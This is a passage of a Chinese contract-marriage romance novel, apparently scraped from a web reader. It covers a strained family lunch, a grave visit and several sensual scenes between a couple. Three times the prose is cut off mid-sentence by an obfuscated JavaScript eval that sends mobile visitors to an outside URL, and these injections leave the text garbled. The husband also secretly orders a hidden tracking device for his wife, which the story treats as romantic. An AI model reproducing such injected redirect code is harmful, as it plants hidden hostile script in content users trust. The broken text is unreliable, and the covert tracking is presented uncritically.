她披上睡袍,过去主卧和明潇就寝休息。 与此同时,梧桐湾老洋房别墅的二楼。 灯光昏沉,空间里弥漫着沐浴过后的潮热湿气。 从浴室洗完澡出来的谢温言,看着昏暗清冷的房间,行动温雅地给自己倒上一杯红酒,随即端到衣帽间里,准备换上睡衣。 在经过一面玻璃柜时,他驻足停下,静静地欣赏着他给她买的衣服。 里面一半是礼服、一半是日常、一半是睡衣,还有一半是……情趣。 光是看着,便让人不由自主地回忆起那些缠绵的日夜,还有在他身下起伏荡漾的勾人身姿。 谢温言沉下赭色的眼眸,却怎么也掩不住里面的慾望。 他喉结滚动,咽下一口红酒,转身看向卧室里那张空荡荡的双人床。 原本以为回到家迎接他的,会是她的火热。 却没想到三个月不见,她是真的没打算搭理他。 谢温言晃了晃杯中的红酒,最后,拿出手机给周绾宁发过去:【明天,我去名园壹号接你。】 4. 乐高 前一晚喝了红酒,又和明潇谈心到半夜。 等翌日太阳升到高空、热意满身,周绾宁才悠然转醒。 她看了眼手机里的时间,已上午9点。她又打开微信,一一回了昨夜没回的消息。 结果,在手指按到熟悉的头像时,她好看又清明的眼瞬间惊愕大睁。 昨晚谢温言发来的消息,她没看见。 结果他在早上八点半发来的问候,她也迟了整整半个小时才发现—— 【我在公寓楼下等你。】 周绾宁还记得谢温言是个极其有时间观念的人。 两年前,两人去领证那天。 因为她迟到十分钟,男人便面色沉沉地询问她,是不是不愿进行这场契约婚姻。 吓得那时的她,再三保证以后自己不会再迟到与他的任何约会。 这一次…… 周绾宁在些许迟疑后,发了条消息向谢温言确认: 【你还在吗?】 为了表示歉意,她甚至补发了表情包,【斯密码喽】 【在。】 【下来。】 得到他的回复,周绾宁松下一口气。 她加快速度跑到浴室里洗漱、换好衣服,哪怕口红歪了也顾不得,一边跟明潇告别,一边套上高跟鞋赶往楼下。 不得不说,劳斯莱斯的车型也好,车标也好,在一众低调奢华的豪车里,很是亮眼。 周绾宁目标明确地过去开门,一屁股挤坐进去,动作一气呵成。 但奈何选错了门,她没有坐到皮质沙发里,而是坐在了一双修长且有力的腿上。 周绾宁的神情瞬间错愕,茫然地看着身侧被自己当做人肉坐垫的男人。 自他回来后,她都有在刻意回避两个人的亲密接触,却没想到会在这一刻全线溃败。 她甚至感受到了他的呼吸喷洒在自己的锁骨处,让人不由自主收紧呼吸。 “我、我不知道你在这边。” 周绾宁磕磕绊绊补上这句,慌忙起身。 未料,谢温言却忽然伸手禁锢住她的腰身,不让她离开。 “你……” 周绾宁有些不懂他的意思,但略微思忖后,打算就害他等自己半个小时的事,先对他进行道歉。 “昨晚我和潇潇喝了点小酒,没看到你的消息,抱歉。” “没事。” 轻飘飘一句回应后,谢温言伸手用指腹盖在她的嘴角处。 周绾宁愣了下,忘记躲开。 心脏颇有些像明潇说的那句心动。 谢温言用手细致入微地顺着她的唇瓣摩挲了一遍,半晌后,才抬眸与她毫无隔阂地对视,提醒:“口红有些歪了。” 周绾宁顿时倍感囧迫,一边“哦”,一边连忙从他怀里起来,钻到另一侧去对镜补妆。 李叔从后视镜看了看后座的夫妻俩,笑着启动车子。 * 谢家老宅坐落在城市郊区,占地两亩。 无论是宅子还是花园,都比较偏苏式园林的风格,有假山水榭、小桥流水还有亭台楼阁。 谢老爷子是国家一级园林景观设计师,对自己晚年的居所设计得很是满意,大笔一挥便为宅子提名为逸园。 周绾宁最喜欢逸园里的戏台。 那里和她曾经十分向往的舞台,有着异曲同工之处。 每每途经,她都会不自觉放缓脚步。 前方,谢温言见她没跟上,回过头来看怎么回事。 周绾宁连忙不着痕迹地收回自己的视线,小跑跟上去。 “怎么了?” “没什么?” 谢温言目光下移,忽然伸手:“高跟鞋不好走,挽着我。” 周绾宁愣了下,意识到他话里的意思—— 怕两人此刻的姿态太过生疏,会让谢家人发现什么端倪。 她犹豫一瞬,还是伸手挽住了他,姿态也变得亲昵许多。 他们虽是契约夫妻,但在谢家人面前的亲昵,还是要演出来的。 她也会站好每一班岗,不让谢温言在她和周家身上的一千万,白花。 想着,周绾宁露出标准的八颗牙微笑,挽着他与他一起穿过庭院,进到谢家的徽派别墅里。 “少爷,少夫人,你们来啦?” 厨房里的林妈听到开门声,一边擦手一边迎来。 谢温言唤了声“林妈”。 他的声音,也让等在书房里的谢父出来了。 周绾宁随谢温言一起,喊了对方一声“爸”。 谢书俊对周绾宁友好招呼:“绾宁也来了,坐,等会午饭就好了。” 周绾宁微微一笑,点点头。 虽然她和谢温言的婚姻有些莫名其妙,但谢家并没有阻拦过多。 或者说,谢温言认定的事情,也不是他们想要阻止就能阻止的。 “温言,爸对海云湾的项目有个建议。你来书房,我们爷俩好好讨论讨论。” “爷爷呢?我想带绾宁向他问好。” 谢书俊看了看周绾宁,掩去面色的异样,淡声道:“老爷子去你小姑家暂住了。” 谢温言了然点头,看向周绾宁,低声叮嘱:“我先过去书房,你在这里可以随意些。” “嗯,无聊的话,我会去楼上拼乐……高。” 原本很顺口的一句话,周绾宁却因对面谢温言明显变化的脸色而愣了下。 她不由得回想起三个月前,他出差的前一夜。 就在他儿时的房间,他坐在地毯上办公,而她在旁无聊地拼着乐高。 随着零点的烟火声声,他突然眼眸沉沉地看过来。 在她接收到他的视线并表达不解后,他猛然凑过来,抬起下巴吻上了她。 唇舌勾着她,这样又那样。 最后,害她好不容易堆起来的乐高,在他们的逐渐失控中,全部解体…… 带点颜色的回忆总是让人控制不住红脸。 周绾宁掩去眼底的旖旎,慌忙回答:“你、你快去吧。” “好。” 谢温言似是安抚一般捏捏她的手,随同谢父去了书房。 等周围没人后,周绾宁摸了下发烫的脸颊,想让自己舒缓舒缓。 过了一会儿。 她决定先上楼躲起来,以免在一楼碰到不想见到的人。 然而她刚起身,便和小客厅里走出来的谢家现夫人孙晗莉意外撞见。 孙晗莉待人向来是热情的,面目看着也十分友好。 “绾宁来啦。” “……阿姨。” 周绾宁本着礼仪,恭敬地唤了对方一声。 “你来得正好,我刚在小客厅里学花艺,好几次不知道插什么花合适。你过来帮阿姨做个参谋。”说完,孙晗莉不顾她的意愿,拉着她便去了小客厅。 周绾宁无可奈何,只能陪同。 繁花似锦的小客厅里,堆满了各种鲜花,香气馥郁,温馨温情。 周绾宁被按坐在圆桌旁,还被推过来一桶刚刚醒好的花。 “这些洋甘菊就给你安排吧。” 孙晗莉像是想起什么,提醒,“我记得温言就很喜欢这些洋甘菊。” 周绾宁却是愣了下:“他也很喜欢这个花?” 从她高中开始,每次跳舞比赛结束后,她爸都会捧着洋甘菊来献给她。 说她失利也好,得第一名也好,这些洋甘菊寓意着坚韧不拔的精神。 他说他这个做爸爸的,只希望她这个女儿能永远鲜活、为自己所热爱的事拼搏。他永远会在她身后。 再后来,她大学里第一次演出成功,有个匿名的观众也送了她一束洋甘菊。 所以,她一直都很喜欢洋甘菊。 如今时过境迁,洋甘菊也算她对父亲的一种寄托。 只是万万没想到,她原以为不喜欢花花草草的谢温言,竟然也喜欢。 那是不是代表着以后,她可以在家里多摆一些? 这时,孙晗莉拿出手机给她展示了一张照片。 照片里是谢温言,还有一个…… 手捧洋甘菊靠在他肩前、笑得明媚灿烂的女生。 只一眼,周绾宁便扫去了刚才心头上的庆幸与共鸣。 原来,谢温言不是喜欢洋甘菊,而是喜欢这个也喜欢洋甘菊的女孩。 “这是温言的青梅,叫沐黎。本来是温言的联姻对象……” 似乎是觉得自己说到了不该说的,孙晗莉缓了缓,继续道,“但那都是过去的事了,你不要放在心上。” 周绾宁想,如果自己是谢温言放在心尖上的妻子,就算他们没什么,也会醋上一醋,要他亲亲抱抱哄一会儿,毕竟自己占有欲强。 但如今的她,好像没这个资格。 “没什么的,阿姨。” 孙晗莉接着说:“这是沐黎刚刚发给我的,说是一周前,温言有去沪市国际舞蹈中心看她的表演。” 周绾宁愣了一下,手中原本在轻轻摆弄着花瓣,因她的这番话,手中突然没了轻重,扯下好几片。 沪市国际舞蹈中心…… 曾经她最向往的舞台。 没想到谢温言会去那,也没想到他在一周前就已经回了国,还特意跑去看他前联姻对象在国际舞蹈中心的表演。 孙晗莉的话音还在继续:“……我们温言和沐黎虽然没有夫妻缘分,但彼此的关系竟然没我想象中的差。” 周绾宁不动声色,继续专注于手中的花枝,剪裁、插瓶。 她知道,今天谢温言后妈的话,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338653|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个字是浪费的,她本意就是为了故意刺她。 谢家虽然没有阻止谢温言和她结婚,但谢家心仪的儿媳从不是她。 他们对谢温言没有意见,不代表对她没有。 “现在孩子大了,都喜欢自己做主意。有些事,不是我们这些长辈能做主的。” 周绾宁将洋甘菊包起来,抬眸看向孙晗莉。 “阿姨,跨年我在谢家住了三天,您跟我提了不少次沐家大小姐。从您的口吻中,可以看出你很喜欢这个差点成为您儿媳的女生。所以有一点我很好奇。” 孙晗莉被她突然硬气的态度,弄得微微一愣,面色不自然极了:“什么?” “当初您说,我既然做了谢家的少夫人,就不该继续在舞台上抛头露脸,让谢家难堪。” “后来又竭力安排我去幼儿园当幼师。” “对于这点我很好奇,如果是沐大小姐成了你的儿媳,她喜欢跳舞,你会让她砍掉这个爱好与事业吗?” 孙晗莉拿起咖啡喝了一口,末了,抬头看她:“绾宁啊,人与人是不同的。” 周绾宁挑眉,明白了她话里的意思。 她捧着洋甘菊起身,神情是一如既往的不卑不亢:“阿姨,这束花我很喜欢。” 恰好,林妈过来通知开饭。 周绾宁便转身先去了餐厅。 这时,谢温鄞恰好和他姐姐谢霜鄞从外回来。 在看到周绾宁那刻,谢温鄞眼睛一亮,就像是火箭一样窜过来黏住她,但十足的惯性,直接将消瘦的周绾宁撞得往后倒去。 那一刻,周绾宁意识到可能要摔跤,连忙护住怀里的人朝后倒去,准备以自己为肉垫。 好在后方及时伸来一只手,将她稳稳地顺过去,揽靠到了他的胸膛上。 周绾宁茫然地看向身后护着自己的谢温言,眸光轻轻波动,带着被救下的错愕。 但想起什么,她又急忙撤回与他的对视,并从他的身前离远了些。 谢温言没有察觉到她态度的不对劲,只伸手揉揉谢温鄞的脑袋。 “哥哥有没有跟你说过,不许撞人,这是一件很危险的事。” 谢温鄞连忙从周绾宁怀里出来,讨好似地绕到谢温言身前,抱住他的腿:“哥哥,温鄞以后不会了。” “哥,你跟一个才上幼儿园的计较什么?” 一旁的谢家二小姐谢霜鄞发出不满,“再说了,嫂子又不是什么金贵的人。”说着,她走过来牵起弟弟,坐到自己的位置上。 周绾宁垂眸,在谢温言看不见的角度下,冷笑了下。 如果是别人说这句话,她会当做是善意、亲昵的调侃。 但谢霜鄞和她并不是那样友好的关系。 “赶快坐,赶快坐。” 这时,孙晗莉出来招呼众人,打破这段小插曲。 谢温言也没再说什么,带周绾宁入座。 饭桌上,谢父和谢温言继续讨论着海云湾的项目。 周绾宁文文静静地吃着菜。 直到,隔壁的谢霜鄞忽然推了一只杯子到她面前。 她错愕看去,只见小姑子眼尾一挑、嘴角一勾,理直气壮地使唤:“嫂子,我要喝果汁。” 一旁的林妈听到了,过来想帮忙:“二小姐,我来,我来。” 谢霜鄞瞪了一眼林妈,随后眼睛直勾勾地盯着周绾宁,吹捧着明显很生硬的话。 “我就要嫂子帮我倒,嫂子倒的果汁特别好喝。” 林妈面露尴尬。 周绾宁无所谓地笑了笑。 她接过杯子,帮谢霜鄞倒满,也帮谢温鄞顺便倒了一杯。 谢温鄞收到后,立马仰起笑脸:“谢谢嫂子。” 周绾宁伸手揉揉他的头发:“乖~” “就你会吹马屁。” 谢霜鄞有些没好气地给谢温鄞夹了棵他最讨厌的菠菜,又夹了只螃蟹到周绾宁的碗里。 周绾宁愣住了。 这次不止是她,看似在边听谢父聊项目,边剥螃蟹的谢温言,也停下了手上的动作。 谢温言将自己挑出的一碗蟹肉放到周绾宁的面前,再将她面前放着螃蟹的碗,不轻不重地搁置回谢霜鄞面前。 谢霜鄞感知到来自谢温言的眼神压迫和警告,急忙解释:“哥,我、我就是想嫂子帮我剥一下。” “刚上幼儿园的温鄞都知道,在嫂子帮忙倒了果汁后,要说谢谢。”谢温言顿了顿,冷意更甚,“谢霜鄞,你不知道吗?” 不等谢霜鄞辩解,他继续发话,“还有,长这么大,连螃蟹都要别人帮你剥?” “又或者是说……你已经娇贵到,需要我的妻子做你的女佣了?” 话音落下,谢温言看着自己同父异母的妹妹,再也不掩眼眸里触底的寒意。 5. 麻烦 孙晗莉最是会看人脸色,当即呵斥自己的女儿:“霜鄞,你真是越来越不懂规矩了,还不快向你哥嫂道歉。” 谢霜鄞纵使万般不服气,但看到谢温言真生气了,就没敢继续犟,小声对着他道歉:“对不起,哥。” 谢温言端起果汁刚准备抿下一口,但在听到谢霜鄞道歉的对象只有自己后,忍不住噙起一丝冷笑来,眼底划过的寒意更是沁透人心。 他直截了当,质问:“所以我不在这的时候,你也是这么欺负你嫂子的?” 这一次,就连本想说点什么来息事宁人的周绾宁都愣了下。 一是没想到谢温言的反应会那么大。二是没想到他会在谢家人面前这么维护她,尤其是在谢家小公主谢霜鄞面前。 她用淡淡的目光,暗中扫了周围一圈。 不表态的谢父、隐忍情绪的谢母、仍不知错的谢霜鄞,还在傻乐吃饭的谢温鄞…… 略微思忖半晌后,她明白了。 谢温言特意揪着这些细节不放,是想在谢家人面前演一出杀鸡儆猴。 未来他的工作重心会转移回京城,预示着盛坤集团内部的夺权战即将拉开序幕。 他以这件事发难、警告谢家部分人,是想让他们认清彼此的位置,省得未来还需要大动干戈、伤了家人的和气。 虽一举两得,却将她这个外人架在高空不上不下,成了众矢之的。 果然,谢霜鄞反应很大:“哥!谁欺负她了?” “不就是倒杯果汁、剥个螃蟹的事吗,瞧你把她金贵的,再说了,我可是你妹!” “够了!霜鄞!” 这一次,不等谢温言有反应,孙晗莉立即出声打断女儿的话,斥责道,“既然做错了事,就别再嘴硬狡辩,完全没个认错的态度!” 愣是谢霜鄞再倔,此刻见一向疼自己的妈妈也黑下脸来,不得不妥协。 “嫂子……对不起。” 周绾宁顺势下台阶:“我们都是一家人,本就不该太过讲究这些礼仪。是温言紧张了。” 说着,她看向谢温言,“温言你说呢?” 谢温言眸光深邃地看了看她,又将目光落回到谢霜鄞身上:“谢家有谢家的规矩。” “谢霜鄞,如果你尊重我,也应该尊重我的妻子。我不希望以后再看到你对我的妻子没大没小。” “知道了。” 谢霜鄞再也不似一开始那般的趾高气扬,闷下头吃饭。 孙晗莉则继续活跃气氛,才让这顿饭变得有惊无险。 但谢温言的不悦,延续到了回程的车里。 周绾宁有些饭晕,正打算再车上睡一觉,忽而听到一旁传来了男人的问话。 “从霜鄞对你的态度可以看出,她为难你已经不是一次两次。为什么之前不告诉我,你在谢家受过她的欺负?” 这个问题,倒是比咖啡因还让人清醒。 周绾宁想了想该怎么回他。 是该说—— 对啊,我受了很多的委屈,受了天大的欺负,老公你能帮我报复回来吗? 还是该说—— 没有,谢家人都对我很好,今天只是谢霜鄞一时没了边界感而已。 在谢家她从来就没有任何底气去反抗,也从不奢望谢温言会为她出头。 她没必要对他诉苦。 不然和谢温言离婚后,他可以无忧无虑地开启下一春,将她这个前妻置之脑后,但谢家的几位怕是要记恨上她,她只会吃不了兜着走。 所以,她得忍气吞声。 尤其现在没人护着她,她更得谨小慎微。 这是从周家破产清算开始,她学会的第一课。 许是见她沉凝许久不说话,谢温言侧身看来。 “绾宁,我的妻子不是谢家的仆人。” “既然我们结了婚,那么你就可以站在谢家夫人的位置上,自由地做自己。” “滴答……”就好像是雨后树叶上的晨露滴进水里。 周绾宁感觉到自己的心湖泛起了一丝丝的涟漪,她怔怔地看着对面眸色沉沉的男人,有些不知道该说什么好。 最终,她只说了句:“我怕麻烦到你。” “如果你站在谢温言夫人的位置,却不能很好地运用它,才更会麻烦到我。” “所以……”谢温言赭色的眼眸深深凝视着她,“周绾宁,你不用忌惮任何人。你身后有我。” 接二连三被他的话狙击,周绾宁只觉得心脏微热。 她深吸一口气,抿着下唇,把头点点,表示知道了。 虽然他们不是很恩爱的夫妻,但也算是彼此的战友。 回到梧桐湾别墅时,苍蓝的天际已是月明星稀。 夕阳的余晖挥别小阳台上的花,微冷的夜风带着寒气扫进一楼的客厅。 周绾宁走到玄关、脱下脚上的方钻真丝高跟鞋。 但过于用力,导致脚下有些没站稳,身躯朝后倒去。 好在和在谢家老宅时一样,身后及时伸来一只手,将她稳稳地接住。 不过这次她脱离不了,因为男人宽大的手掌用力地拢住了她的腹部,原本合并的五指在感受到她要抽离的瞬间,张开又曲起指关节,将她用力按回他的胸膛。 霎那间,周绾宁只感觉到一阵属于谢温言身上的雪松味,将自己深深包裹,丝丝缕缕地入侵她的身内,形成热流,从她腰腹开始往下游走。 “谢……谢温言。” 她慌张地唤了下他的名字,用手去掰他的手掌。 但男人用另一只手与她十指紧扣,阻止了她的拒绝。 成年人之间,往往不需要多少言语就能明白对方的意思。 他想要她。 周绾宁不敢回头,只觉得身后男人的气息挨近自己,一点点侵蚀着她的理智。 最终,伴随着一抹湿热的吻落在她敏感的耳后根,她也无法抗拒地发出一声嘤咛。 也就是这一声过后,谢温言的气息一沉,他将她翻过身去,强势地摁在了后方的玄关柜上,迫切的吻点点落下,缠绵在周绾宁的双唇上。 彼此的唇齿在三月未曾触碰之下,带着陌生的磕绊。但很快就像水乳相融一般,黏连相缠,难舍难分。 周绾宁再是不想承认也得承认,自己的身体对眼前这个男人动起情来就像是人要吃饭那样简单。 谢温言的吻顺着她的唇,一点点厮磨到她的耳根、脖颈以及锁骨,像是在面对珍爱的宝物,每过一处,都会引发她不自觉地颤丿栗与虚软。 周绾宁想要推开他的手,失去了所有力气,只虚虚地搭在他身上。 随着吻的加深,她的风衣外套在无知无觉中滑落在地,层层堆叠在她细瘦的脚踝处,身上只剩一件白色蕾丝紧身连衣裙,V字领口下的饱满,惹人瞩目。 不时,男人温热的手掌顺着衣襟往里探去,在听到她难忍的低咛时,他的气息里泄露出一丝笑意。 最后,他的唇舌又折回来,更加用力地与她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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转账,并附加爱她的表情包。 这时,卧室外忽然响起熟悉的脚步声。 周绾宁一个激灵,意识到是谢温言从书房上来了,她立刻踮着脚飞速跑回床上,在被子底下缩成一团。 伴随着开门、关门声响起,一阵脚步声在靠近。 周绾宁不自觉放缓了呼吸,放在眼前的手慢慢握紧成拳头,在感知到男人停步在床前时,她连忙闭眼装睡。 好在,谢温言并没有在床前久留,他去了浴室洗漱。 被子下,周绾宁暗暗松了口气。 她不禁在心里嘲笑自己,竟然会有那么怂的一天,面对谢温言就像是被老师抓包做坏事的小孩。 想到小孩,她就想起了谢温鄞。 曾经她确实期待过和谢温言有这样一个可爱的小孩,但后来…… 排卵期前的疲乏总是让人在猝不及防间犯困,随着思绪渐渐飘远,不过一会,周绾宁的上下眼皮开始打架。 直到睡意朦胧间,她听到浴室门被人打开,一阵沐浴乳香味渐渐盈满卧室。 不久,床榻下陷几分,有一抹滚烫躺进了被窝里。 周绾宁想要睁眼和他说说话,但累得怎么也睁不开。 就在她即将失去意识之际,一抹湿热忽然贴上了她的额头。 霎那间,心头好似有一片羽毛扫过,酸酸痒痒,让她倍感茫然。 刚刚…… 是谢温言的晚安吻吗? 6. 甘菊 这一夜,谢温言睡得并不安稳。 梦里,他又回到了医院的天台。 与现实不同,这一次他没有将周绾宁劝下来,听到他的声音,她只是回头看了看他,在露出一抹苦笑后,闭眼朝后一倒、坠入虚空。 谢温言想冲过去抓住她,手脚却比什么都沉重。 从未有过的恐惧在这一刻盈满他的全身,他知道自己在做梦,却怎么也醒不过来。 直到现实里有重物落地声响起,他才从睡梦中彻底抽离、清醒。 但与梦境一样,现实里,他的怀里也没了周绾宁香软的身躯。 谢温言坐起身,冷淡又茫然的目光扫过房间,只见目光所及之处,毫无她的痕迹。 他掀开被子下床,捡起掉落在地的手机,拨出周绾宁的电话,发现怎么也打不通。 此刻,窗外。 潮湿的大雨像是瀑布一样从屋檐上倾泻下来,朦胧的雨幕冲刷天地万物,一切都显得不太真实。 心中因为梦境引起的慌乱,有些平息不下。 谢温言挂掉充满忙音的电话,开始穿梭在别墅里去寻找她的身影。 但无论是二楼的书房还是一楼健身房,都没有周绾宁的气息。 最终,他叫住经过的桐姨。 声音里透着一份冷意与连他自己都没发现的一份慌乱:“夫人呢?” —— 如注的暴雨,冲刷着山路上的小石子。 时不时溅起的水花和泥渍,沾染在摇摇欲坠的野花上,终于在又一次击打后,花瓣陨落在地。 周绾宁握着早已被雨水打湿的洋甘菊,静静地站在风雨里,看着墓碑上父亲的名字,对最想亲近的人倾诉: “抱歉爸,昨天没时间来看您。” 她蹲下身,把碑前的杂草拂去,再将自己带来的花放置过去。 像过去那样和自己的父亲话家常,“过去一年,大家都很平安幸福。” “妈妈在她的新家过得很好,大伯成立了一个新公司,已经把周家一部分产业救回来了,小叔叔……” 后面三个字刚出口,就像是有鱼刺突然卡了她的喉咙,让她几次想要装作若无其事把话说下去,但都无法继续。 最后,周绾宁干脆跳过,“我过得也很好,本来是要和温言一起来看您的,但他最近比较忙,所以这次没有过来,你别介意。” “爸爸,你在另一个世界要照顾好自己。” “我……也会照顾好自己的。” 话到最后,周绾宁的脸上还带着云淡风轻的笑意,但嗓音已然哽咽。 下一秒,一阵脚步声在她身后的雨幕里响起,伴随着一道急切又冷冽的低沉男声:“这就是你说的,会照顾好自己?” 周绾宁转过身,诧异地看着跋涉而来的谢温言,以及他湿透的全身。 他虽撑着伞,但丝毫没有在意雨打过来的方向,使得那被水浸染的白色衬衫里隐隐透着诱人窥探的肉色。 而他以往梳起的背头,此刻也散落了几缕垂在额前,让那帅气的脸多了几分脆弱的清丽。 “你怎么……来了?” 周绾宁有些不敢与他带着问责的眼神对视。 今早在他怀里醒来,她有考虑过要不要叫他一起来,但想到这段婚姻还有三个月就要结束了,这种形式主义可有可无。 所以最后她独自来了墓园。 只是没想到现在他会找来。 谢温言走近。 他周身带着春意湿寒的气息。 周绾宁意外地打了个寒颤,双脚因此有些囿于囹圄,无法挪动半分。 她沉下呼吸,思索着该怎么应对他接下来的责问。 但比他问责先到的,是他披到她身上的雨衣。 严丝合缝,密不透风,足以挡去雨水的浸透。 谢温言于无声中看了她一眼,而后越过她走到墓碑前,将伞搁在碑上挡去风雨,又从随身携带的礼品袋里取出香烛点燃,焚经文、烧元宝。 周绾宁察觉到他有生气的迹象,觉得自己还是要针对此情此景解释一下。 “我是看你才回来,又连轴转处理公司的事会太累,就没叫醒你。” 这句解释合情合理,也体现了她对他的关怀与爱护。 他应该……会信吧。 在她的一番忐忑下,谢温言抬首看她,语气倒是比刚刚多了些柔和:“抱歉,是我忘了昨天是岳父的祭日。” 火光映衬着他的侧脸,他眼底的冰霜全然化开。 “以后如果我忘了,你可以提醒我,我会推掉一切聚会,陪你一起过来。” 周绾宁抿了抿唇,走过去为他撑伞:“你怎么知道我在这?”她没有告诉桐姨自己来祭奠的事情。 “在家里找不到你,以为你去了明潇那,就去问了她。” 说着,谢温言对着墓碑拜了三拜,又从礼品袋里掏出一束洋甘菊,放置在她的那束旁。 周绾宁微感讶异。 清澈的目光落在他那束洋甘菊上,有些挪不开。 按理说,他喜欢的人爱的花,他不该拿来祭奠她父亲。 在她愣神中,谢温言忽而伸手握住了她。 那一刻,他温热的掌心仿佛成了这风雨飘摇的世界里,她唯一能触及到的暖源。 “回去了?” “……嗯。” 她也是有点发冷的迹象,可能是淋雨淋得太久。 两人回到车里。 谢温言负责驱车。 车子稳当地穿梭在山间的绿林里,偶尔经过减速带的时候,挂在后视镜下的洋甘菊水晶挂坠一晃一晃。 那一刻,周绾宁的意识比嘴还要快,对身旁的男人,抛出了自己的问题:“一周前,你就已经回来了?” 话音落下,她又有些后悔,觉得不该过问他的行踪。 但好巧不巧,她捕捉到谢温言握着方向盘的手紧了紧。 这代表:是的。一周前,他就回来了。但没打算告诉她。 她准备为自己的小丑行为给找个台阶下,表示自己也没那么想知道。 但谢温言开口阐明:“我本想直接回京市,但集团那要我临时去沪市收购一个公司,就在沪市多待了几天。” “至于为什么没告诉你我回来的事……”谢温言顿了顿,没有继续往下说。 周绾宁也没追问。 车内静下。 只剩汽车时不时经过减速带的声音。 “周绾宁,这三个月,你从未给我发过一条消息。”后视镜里,男人目光沉凝,带着审视。 周绾宁愣了下,原本还算懒散的身姿不禁开始调整到正襟危坐的样子。 他这是反过来责怪她这个合作伙伴,不够关注他? “你助理有给我发你的日常行程。”所以我没来问你的行踪。 周绾宁决定把他们之间的矛盾抛回去,“但有一件事,她好像有意瞒着我。”也不知道是不是你授意。 说话间,她暗暗观察男人的神色,觉得他应该已经接收到了她话里话外的控诉。 “你是指,去沪市国际舞蹈中心看演出的事?” 车到了红绿灯处停下。 谢温言侧首与她对视,“那是应合作方的邀约,临时去观看的。” 周绾宁慌忙收回眼神,落在自己缴着衣摆的双手上。 但她的嘴里、心里都在忍不住吐槽:“临时去,还带花?”鬼才信。 谢温言似乎是听到了她的嘟囔,忍不住一声嗤笑,解释:“不是我送的。” “周绾宁。除了我妈,我只给两个人送过花。” “刚刚给爸的是其一,另一束……是给你的。”说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338655|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,他脚踩油门,继续往家的方向赶。 周绾宁却因为他的话愣住了。 她仔细回想了下…… 发现自己一点也不记得婚前有没有收到过他的花,难道是领证那天的那束? 但这好像并不重要。 重要的是,他青梅竹马沐黎的那一束,不是他送的? 那自己岂不是闹了个乌龙? 他不会以为她刚刚是在吃醋吧? 周绾宁连忙找话圆:“我没有想窥探你隐私的想法。” “……只是觉得有时候我们要对彼此坦诚一些,不然以后别人问起来,我不知道怎么回事,他们会觉得我们夫妻感情没那么好。” 谢温言专注开车,手指轻轻敲击方向盘几下,最后嘴角噙起一抹笑。 “所以昨晚不愿意跟我做,是因为这个?” 周绾宁原本低着的头因为他的话顿时抬起,脸颊也肉眼可见地变粉、变红。 她从未想过一本正经、温雅非凡的男人会把那件事,说得这样直白…… “我、我是因为真的来……” 谢温言知道吓到她了,伸手握住她的,安抚道:“知道了,刚刚不过是……逗你的。” 库里南一路驶进梧桐湾的老洋房车库里。 桐姨看到浑身湿哒哒的夫妇两人出现在客厅时,愣了愣。 随后她连忙迎上来,给他们一人一条毛毯裹住。 “这是去哪了,一身狼狈地回来。” 桐姨顺手把自己的暖手袋塞到周绾宁手里,皱着眉头叮嘱,“快快,去洗个热水澡,我叫人给你们煮姜撞奶。” “好。”应声着,谢温言牵起还想跟桐姨解释原因的周绾宁走向二楼主卧。 到了房间,谢温言先是开了暖气,又是从衣帽间里取出两套睡衣,放到床上。 在犹豫一瞬后,他拿起自己的那套往外走去。 周绾宁愣住,问他:“去哪?” 对方用下巴示意了下方向:“这里留给你,我去客房洗。” 周绾宁一时间没有转过弯来:“不一起吗?” 谢温言的脚步顿了下,随即转过身、双手抱胸,一脸玩味地看着她。 “你确定?不怕我会忍不住?” 周绾宁眨巴了两下眼睛,好歹是回过神来了。 她连忙拿上自己的那套睡衣,头也不回地跑进浴室里,背影慌得不行。 谢温言轻笑着准备离开。 但随着浴室灯亮起,站在门后的曼妙身影被完全投射在了磨砂玻璃上,他的脚步也停滞在门前。 男人折回,双手插兜站在浴室门口,目光怔怔地盯着浴室前的影像。 里面的人并不知道自己已经完全暴露在了他人的视线之下,无论是脱上衣、扯内丿裤、解吊带…… 每一个动作,都透着无比从容的优雅与致命的……诱人。 谢温言的喉结涌动三次,才强压下从心底涌上来的慾念。 * 窗外雨水淅沥,窗内热气氤氲。 男人躺在浴缸里,热水浸染着他身上的白衬衫。因为喘息急促,他的腹肌、身肌在衬衫下欲盖弥彰地呈现。 随着压抑的一声低吼,他将潮湿的纸巾团成一团,丢进一旁的垃圾桶里,而后近乎失神地望着天花板。 想到什么,谢温言的目光从清明变得阴鸷,他拿出手机给助理发了条消息:【帮我买个隐形定位装置。】 【是。】 谢温言关掉手机,这时,浴室门被人轻轻敲了敲。 他扬声问:“怎么了?” 这个时候,只会是她来。 “谢温言,我可以进来吗?” 她的语气带着些怯生生又疏离的客气。 谢温言微微凝眉,端起一旁的红酒咽了口,勉强维持镇定:“进来吧。” 7. 救赎 在得到门内人的应许后,周绾宁看着门把手,还是有些犹豫要不要进去。 五分钟前,她接到妈妈的电话。 说她准备在新家给她爸爸做一顿羹饭,要她周一带谢温言过去一趟,一家人好好吃顿饭。 这是妈妈有了新家以后,第一次邀请她去。 